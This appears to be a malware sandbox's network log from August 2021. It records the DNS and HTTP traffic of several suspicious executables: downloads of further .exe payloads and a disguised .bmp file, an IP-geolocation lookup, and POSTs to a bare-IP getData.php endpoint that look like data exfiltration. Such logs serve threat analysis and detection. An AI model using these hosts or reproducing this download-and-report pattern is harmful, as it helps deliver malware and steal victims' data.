                                                                                                                                                                                                                                          CF-RAY: 68232802df9b4c92-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://one-wedding-film.xyz/?user_auth=p5_2
                                                                                                                                                                                                                                          PBrowFile15.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.1.69:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /?user_auth=p5_2 HTTP/1.1
                                                                                                                                                                                                                                          Host: one-wedding-film.xyz
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:16 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          x-powered-by: PHP/7.1.33
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=y8yB33tQp90JOTf6YKmwNrA7Ylxh2Qv9tlzu9Lts0dmTl2BAqUXSTHjDx4XmhWWhPsjQmJADIPvbYDnhebmMCQ2scOxh11R1WmdyaeQUzciTrA10IVIElWMMkmMOljgKiYPWn1iv4A%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823280c8ed74c92-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://one-wedding-film.xyz/?user_auth=p5_3
                                                                                                                                                                                                                                          PBrowFile15.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.1.69:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /?user_auth=p5_3 HTTP/1.1
                                                                                                                                                                                                                                          Host: one-wedding-film.xyz
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:16 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          x-powered-by: PHP/7.1.33
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AoGWM0hmXaeYHthKtok1NhFSKqfL%2BEJbr4UX%2FWisgK7LTT%2FvQSysN9lhUa8%2FPKzAMmx6DX6%2BcJeGrAboSh88Tm3IJAWhuXdd63FAlTtuqhB6LCEqWMlGsiQisnpfgZakhWLW4l7pCQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823280eba274c92-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://one-wedding-film.xyz/?user_auth=p5_4
                                                                                                                                                                                                                                          PBrowFile15.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.1.69:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /?user_auth=p5_4 HTTP/1.1
                                                                                                                                                                                                                                          Host: one-wedding-film.xyz
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:17 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          x-powered-by: PHP/7.1.33
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2FN01dm0rlhv5nTeyQtfi%2BnkFzn2MehX%2BLR1Mh9RiZKoObrTZRgtT%2BWg7gX83kgCQb%2FBbNVeChS6ebqayEF1vlTUECIc%2B%2BLA%2FqWPXq7gA7KzlOWiJDfdWzgQ715pBplFgVh4yJcYUEA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682328127f094c92-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://one-wedding-film.xyz/?user_auth=p5_5
                                                                                                                                                                                                                                          PBrowFile15.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.1.69:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /?user_auth=p5_5 HTTP/1.1
                                                                                                                                                                                                                                          Host: one-wedding-film.xyz
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:17 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          x-powered-by: PHP/7.1.33
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=f2Bw6h%2F86%2BlX5DvusA3HXPieH%2FGWRAxRDMLZAh3GI4lIIG5EVQc2EoXJxGVaJYghTZzFwsTOQoWQCxKM03n995DdjH7UEv%2FtzQEYz4pkCnd9rEhLucGn8Cliy6T6bcjBFhHRMznd%2FA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682328131ff64c92-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://one-wedding-film.xyz/?user_auth=p5_6
                                                                                                                                                                                                                                          PBrowFile15.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.1.69:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /?user_auth=p5_6 HTTP/1.1
                                                                                                                                                                                                                                          Host: one-wedding-film.xyz
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:17 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          x-powered-by: PHP/7.1.33
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5%2BQQnL9Alef8O7cHUcwG8LFlibbJTd2ZZBA01%2BueRLKOsNtriMhmhoKlleDG8ZUvcBdhjel%2FkJk5l6oXNStGH755G7XHo5lGayUmDelIyBiIIyByF9TPRPM2u72Xolx77xTVHE1SfQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232815fbf44c92-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          HEAD
                                                                                                                                                                                                                                          http://perfect-request-smart.com/C_Installer/UltraMediaBurner.exe
                                                                                                                                                                                                                                          DllHost.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          66.29.130.154:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          HEAD /C_Installer/UltraMediaBurner.exe HTTP/1.1
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: InnoDownloadPlugin/1.5
                                                                                                                                                                                                                                          Host: perfect-request-smart.com
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:15 GMT
                                                                                                                                                                                                                                          Server: Apache
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 15:59:16 GMT
                                                                                                                                                                                                                                          ETag: "74800-5c9ffbfd7fd00"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 477184
                                                                                                                                                                                                                                          Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://perfect-request-smart.com/C_Installer/UltraMediaBurner.exe
                                                                                                                                                                                                                                          DllHost.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          66.29.130.154:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /C_Installer/UltraMediaBurner.exe HTTP/1.1
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: InnoDownloadPlugin/1.5
                                                                                                                                                                                                                                          Host: perfect-request-smart.com
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:15 GMT
                                                                                                                                                                                                                                          Server: Apache
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 15:59:16 GMT
                                                                                                                                                                                                                                          ETag: "74800-5c9ffbfd7fd00"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Content-Length: 477184
                                                                                                                                                                                                                                          Keep-Alive: timeout=5, max=99
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAWAJn8G8pVTNI4cGFpe7i4%3D
                                                                                                                                                                                                                                          askinstall53.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          93.184.220.29:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAWAJn8G8pVTNI4cGFpe7i4%3D HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Microsoft-CryptoAPI/10.0
                                                                                                                                                                                                                                          Host: ocsp.digicert.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Age: 2828
                                                                                                                                                                                                                                          Cache-Control: max-age=99289
                                                                                                                                                                                                                                          Content-Type: application/ocsp-response
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:15 GMT
                                                                                                                                                                                                                                          Etag: "611faa58-1d7"
                                                                                                                                                                                                                                          Expires: Sun, 22 Aug 2021 14:00:04 GMT
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 13:12:56 GMT
                                                                                                                                                                                                                                          Server: ECS (amb/6BB3)
                                                                                                                                                                                                                                          X-Cache: HIT
                                                                                                                                                                                                                                          Content-Length: 471
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/873056123240972371/878303898211868722/E_PL_Client.bmp
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.159.135.233:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /attachments/873056123240972371/878303898211868722/E_PL_Client.bmp HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: cdn.discordapp.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:16 GMT
                                                                                                                                                                                                                                          Content-Type: image/x-ms-bmp
                                                                                                                                                                                                                                          Content-Length: 1282564
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Ray: 6823280b3da24160-AMS
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Age: 66858
                                                                                                                                                                                                                                          Cache-Control: public, max-age=31536000
                                                                                                                                                                                                                                          Content-Disposition: attachment;%20filename=E_PL_Client.bmp
                                                                                                                                                                                                                                          ETag: "047643cc5a5ed0da6b3747b79c0df297"
                                                                                                                                                                                                                                          Expires: Sun, 21 Aug 2022 10:25:16 GMT
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 15:46:07 GMT
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          x-goog-generation: 1629474367490105
                                                                                                                                                                                                                                          x-goog-hash: crc32c=1XX64g==
                                                                                                                                                                                                                                          x-goog-hash: md5=BHZDzFpe0NprN0e3nA3ylw==
                                                                                                                                                                                                                                          x-goog-metageneration: 1
                                                                                                                                                                                                                                          x-goog-storage-class: STANDARD
                                                                                                                                                                                                                                          x-goog-stored-content-encoding: identity
                                                                                                                                                                                                                                          x-goog-stored-content-length: 1282564
                                                                                                                                                                                                                                          X-GUploader-UploadID: ADPycduehFet4X-WL3JDKGBgAlzNzETuadAY-75wI4cggE8ehNCpq9gn8Zau51Io4nbiP07PGoni98b5fN7DzJV3LfQ
                                                                                                                                                                                                                                          X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=orWIE1bds9Fe2m6zO1yKvH6z8iq6YK%2BugtZT1TjYPb0VS6FGykNowbCBbKg0YQEj1aHlMeWT4zLlX1pZIy3R5zL0%2BZKoScEQft4BBQejMpVdkwiO1BD86o2q%2FhBhUSbWoFikXg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://ipinfo.io/widget
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          34.117.59.81:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /widget HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Referer: https://ipinfo.io/
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: ipinfo.io
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          access-control-allow-origin: *
                                                                                                                                                                                                                                          x-frame-options: DENY
                                                                                                                                                                                                                                          x-xss-protection: 1; mode=block
                                                                                                                                                                                                                                          x-content-type-options: nosniff
                                                                                                                                                                                                                                          referrer-policy: strict-origin-when-cross-origin
                                                                                                                                                                                                                                          content-type: application/json; charset=utf-8
                                                                                                                                                                                                                                          content-length: 873
                                                                                                                                                                                                                                          date: Sat, 21 Aug 2021 10:25:16 GMT
                                                                                                                                                                                                                                          x-envoy-upstream-service-time: 25
                                                                                                                                                                                                                                          vary: Accept-Encoding
                                                                                                                                                                                                                                          Via: 1.1 google
                                                                                                                                                                                                                                          Alt-Svc: clear
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          activityhike.com
                                                                                                                                                                                                                                          LivelyScreenRecS1.9.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          activityhike.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          activityhike.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          95.142.37.102
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://37.0.10.237/base/api/getData.php
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.237:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /base/api/getData.php HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Content-Length: 4017
                                                                                                                                                                                                                                          Host: 37.0.10.237
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:17 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28
                                                                                                                                                                                                                                          X-Powered-By: PHP/7.3.28
                                                                                                                                                                                                                                          Content-Length: 108
                                                                                                                                                                                                                                          Keep-Alive: timeout=5, max=100
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://37.0.10.237/base/api/getData.php
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.237:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /base/api/getData.php HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Content-Length: 133
                                                                                                                                                                                                                                          Host: 37.0.10.237
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:19 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28
                                                                                                                                                                                                                                          X-Powered-By: PHP/7.3.28
                                                                                                                                                                                                                                          Content-Length: 108
                                                                                                                                                                                                                                          Keep-Alive: timeout=5, max=99
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          POST
                                                                                                                                                                                                                                          http://37.0.10.237/base/api/getData.php
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.237:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          POST /base/api/getData.php HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Content-Length: 133
                                                                                                                                                                                                                                          Host: 37.0.10.237
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:20 GMT
                                                                                                                                                                                                                                          Server: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28
                                                                                                                                                                                                                                          X-Powered-By: PHP/7.3.28
                                                                                                                                                                                                                                          Content-Length: 4672
                                                                                                                                                                                                                                          Keep-Alive: timeout=5, max=98
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://2no.co/1C8Ua7
                                                                                                                                                                                                                                          PBrowFile15.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          88.99.66.31:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /1C8Ua7 HTTP/1.1
                                                                                                                                                                                                                                          Host: 2no.co
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:17 GMT
                                                                                                                                                                                                                                          Content-Type: image/png
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Set-Cookie: PHPSESSID=erdtuq5juaftbp8uf0qap6e0e0; path=/; HttpOnly
                                                                                                                                                                                                                                          Pragma: no-cache
                                                                                                                                                                                                                                          Set-Cookie: clhf03028ja=154.61.71.13; expires=Wed, 18-Jul-2029 05:49:51 GMT; Max-Age=249506674; path=/
                                                                                                                                                                                                                                          Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
                                                                                                                                                                                                                                          Set-Cookie: timezone=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                                                                                                                                                                                                                          Answers:
                                                                                                                                                                                                                                          whoami: acce61361a3dee677653fa2909f29530202335835c71031ba4dff50682ae5de8
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000; preload
                                                                                                                                                                                                                                          X-Frame-Options: DENY
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://activityhike.com/files/sonia19.exe
                                                                                                                                                                                                                                          LivelyScreenRecS1.9.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          95.142.37.102:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /files/sonia19.exe HTTP/1.1
                                                                                                                                                                                                                                          Host: activityhike.com
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                                                          Server: nginx/1.20.1
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:18 GMT
                                                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Location: https://activityhike.com:443/files/sonia19.exe
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://activityhike.com/files/sonia19.exe
                                                                                                                                                                                                                                          LivelyScreenRecS1.9.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          95.142.37.102:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /files/sonia19.exe HTTP/1.1
                                                                                                                                                                                                                                          Host: activityhike.com
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Server: nginx/1.20.1
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:18 GMT
                                                                                                                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                                                                                                                          Content-Length: 1145358
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          Last-Modified: Thu, 19 Aug 2021 12:44:42 GMT
                                                                                                                                                                                                                                          ETag: "117a0e-5c9e8ea3aedd2"
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Strict-Transport-Security: max-age=31536000;
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          statuse.digitalcertvalidation.com
                                                                                                                                                                                                                                          askinstall53.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          statuse.digitalcertvalidation.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          statuse.digitalcertvalidation.com
                                                                                                                                                                                                                                          IN CNAME
                                                                                                                                                                                                                                          ocsp.digicert.com
                                                                                                                                                                                                                                          ocsp.digicert.com
                                                                                                                                                                                                                                          IN CNAME
                                                                                                                                                                                                                                          cs9.wac.phicdn.net
                                                                                                                                                                                                                                          cs9.wac.phicdn.net
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          72.21.91.29
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          DNS
                                                                                                                                                                                                                                          statuse.digitalcertvalidation.com
                                                                                                                                                                                                                                          askinstall53.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          8.8.8.8:53
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          statuse.digitalcertvalidation.com
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          statuse.digitalcertvalidation.com
                                                                                                                                                                                                                                          IN CNAME
                                                                                                                                                                                                                                          ocsp.digicert.com
